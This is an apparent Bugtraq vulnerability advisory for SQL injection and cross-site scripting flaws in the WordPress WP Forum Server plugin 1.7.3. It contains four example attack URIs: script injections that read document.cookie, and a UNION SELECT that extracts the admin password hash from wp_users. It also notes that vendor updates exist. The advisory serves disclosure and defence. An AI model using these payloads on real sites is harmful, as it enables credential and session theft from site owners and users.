WordPress WP Forum Server Plugin SQL Injection and Cross Site Scripting Vulnerabilities

BID:53530

Info

WordPress WP Forum Server Plugin SQL Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID: 53530
Class: Input Validation Error
CVE: CVE-2012-6622
CVE-2012-6625
Remote: Yes
Local: No
Published: May 15 2012 12:00AM
Updated: Jan 24 2014 12:23AM
Credit: Heine Pedersen and Torben Jensen
Vulnerable: WordPress WP Forum Server 1.7.3
Not Vulnerable:

Discussion

WordPress WP Forum Server Plugin SQL Injection and Cross Site Scripting Vulnerabilities

WP Forum Server plugin for WordPress is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Forum Server 1.7.3 is vulnerable; other versions may also be affected.

Exploit / POC

WordPress WP Forum Server Plugin SQL Injection and Cross Site Scripting Vulnerabilities

Attackers can use a browser to exploit these issues. To exploit the cross-site scripting issues, an attacker must entice an unsuspecting user to follow a malicious URI.

The following example URIs are available:

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=structure&do=addforum&groupid=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=structure&do=editgroup&groupid='><script>alert(document.cookie);</script>

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=structure&do=editgroup&groupid=2 AND 1=0 UNION SELECT user_pass FROM wp_users WHERE ID=1

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=usergroups&do=edit_usergroup&usergroup_id='><script>alert(document.cookie);</script>

Solution / Fix

WordPress WP Forum Server Plugin SQL Injection and Cross Site Scripting Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

WordPress WP Forum Server Plugin SQL Injection and Cross Site Scripting Vulnerabilities

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